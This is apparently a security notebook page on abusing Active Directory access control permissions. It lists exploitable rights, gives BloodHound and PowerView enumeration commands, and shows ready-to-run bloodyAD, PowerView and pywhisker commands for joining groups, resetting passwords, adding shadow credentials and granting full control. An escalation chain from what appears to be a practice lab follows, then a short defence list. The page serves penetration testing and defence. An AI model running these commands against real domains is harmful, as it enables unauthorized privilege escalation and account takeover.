> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/acl-abuse-in-active-directory.md).

# ACL Abuse in Active Directory

### What are ACLs?

ACLs (Access Control Lists) define what permissions a user or group has over an Active Directory object. Every AD object — users, groups, computers, GPOs — has a security descriptor containing a DACL (Discretionary ACL) with individual ACEs (Access Control Entries).

In a poorly configured domain, these permissions can be chained together to escalate privileges without ever exploiting a CVE.

***

### Common Abusable Permissions

| Permission              | What it allows                         | Abuse                                             |
| ----------------------- | -------------------------------------- | ------------------------------------------------- |
| `GenericAll`            | Full control over object               | Reset password, add to group, write any attribute |
| `GenericWrite`          | Write any attribute                    | Overwrite logon script, add to group              |
| `WriteOwner`            | Change object owner                    | Take ownership, then full control                 |
| `WriteDACL`             | Modify the ACL itself                  | Grant yourself GenericAll                         |
| `ForceChangePassword`   | Reset password without knowing current | Change victim's password                          |
| `AddMember` / `AddSelf` | Add members to a group                 | Add yourself or others                            |
| `AllExtendedRights`     | All extended rights                    | Includes ForceChangePassword                      |
| `Owns`                  | Object owner                           | Can modify DACL                                   |

***

### How to Find ACL Chains

#### BloodHound (most common)

```bash
# Collect data with RustHound
rusthound -d domain.htb -u user -p 'pass' -z -c All

# Or with SharpHound on Windows
.\SharpHound.exe -c All

# Upload zip to BloodHound GUI
# Use built-in queries:
# "Find Shortest Paths to Domain Admins"
# "Find Principals with DCSync Rights"
```

BloodHound shows ACL chains visually — you can see exactly which edge (permission) connects each node.

#### Manual with PowerView

```powershell
# Find all objects user has rights over
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -eq "web_svc"}

# Get ACL of a specific object
Get-ObjectAcl -Identity "IT_SUPPORT" -ResolveGUIDs
```

***

### Exploiting ACLs

#### AddSelf / AddMember → Add yourself to a group

```bash
# bloodyAD (Linux)
bloodyAD -d domain.htb --host dc01.domain.htb \
  -u web_svc -p 'password' \
  add groupMember 'IT_SUPPORT' web_svc

# PowerView (Windows)
Add-DomainGroupMember -Identity 'IT_SUPPORT' -Members 'web_svc'
```

#### ForceChangePassword → Reset another user's password

```bash
# bloodyAD
bloodyAD -d domain.htb --host dc01.domain.htb \
  -u web_svc -p 'password' \
  set password 'target_user' 'NewP@ss123!'

# PowerView
$cred = Get-Credential  # web_svc creds
$newpass = ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force
Set-DomainUserPassword -Identity target_user -AccountPassword $newpass -Credential $cred
```

#### GenericAll on a user → Shadow Credentials or targeted kerberoast

```bash
# Add shadow credential (certificate-based auth)
pywhisker -d domain.htb -u web_svc -p 'pass' \
  --target target_user --action add

# Or just reset password
bloodyAD ... set password target_user 'NewP@ss!'
```

#### WriteDACL → Grant yourself GenericAll

```bash
# PowerView
$cred = Get-Credential
Add-DomainObjectAcl -TargetIdentity 'target_user' \
  -PrincipalIdentity 'web_svc' \
  -Rights All -Credential $cred
```

***

### ACL Chain Example (NanoCorp)

```
web_svc
  │
  ├─[AddSelf]──► IT_SUPPORT (group)
                    │
                    └─[ForceChangePassword]──► monitoring_svc
                                                    │
                                                    └─[CanPSRemote]──► DC01
```

Step 1: `web_svc` adds itself to `IT_SUPPORT`\
Step 2: As member of `IT_SUPPORT`, reset `monitoring_svc` password\
Step 3: Login as `monitoring_svc` via WinRM

***

### Tools Summary

| Tool       | Platform | Use                        |
| ---------- | -------- | -------------------------- |
| BloodHound | Both     | Visualise ACL chains       |
| RustHound  | Linux    | Collect BloodHound data    |
| SharpHound | Windows  | Collect BloodHound data    |
| bloodyAD   | Linux    | Exploit ACLs over LDAP     |
| PowerView  | Windows  | Enumerate and exploit ACLs |
| Impacket   | Linux    | Various AD attacks         |

***

### Defence

* Audit ACLs regularly with tools like BloodHound or PingCastle
* Follow the principle of least privilege
* Remove unnecessary delegated permissions
* Monitor for unusual group membership changes (Event ID 4728, 4732)
* Monitor password resets by non-admins (Event ID 4723, 4724)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/acl-abuse-in-active-directory.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.